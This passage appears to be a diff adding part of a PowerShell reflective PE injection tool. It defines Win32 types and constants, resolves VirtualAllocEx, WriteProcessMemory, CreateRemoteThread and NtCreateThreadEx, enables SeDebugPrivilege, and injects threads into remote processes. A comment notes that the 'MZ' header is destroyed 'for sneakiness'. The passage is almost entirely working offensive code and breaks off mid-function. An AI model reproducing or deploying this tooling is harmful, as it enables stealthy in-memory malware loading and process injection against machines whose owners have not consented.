+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + 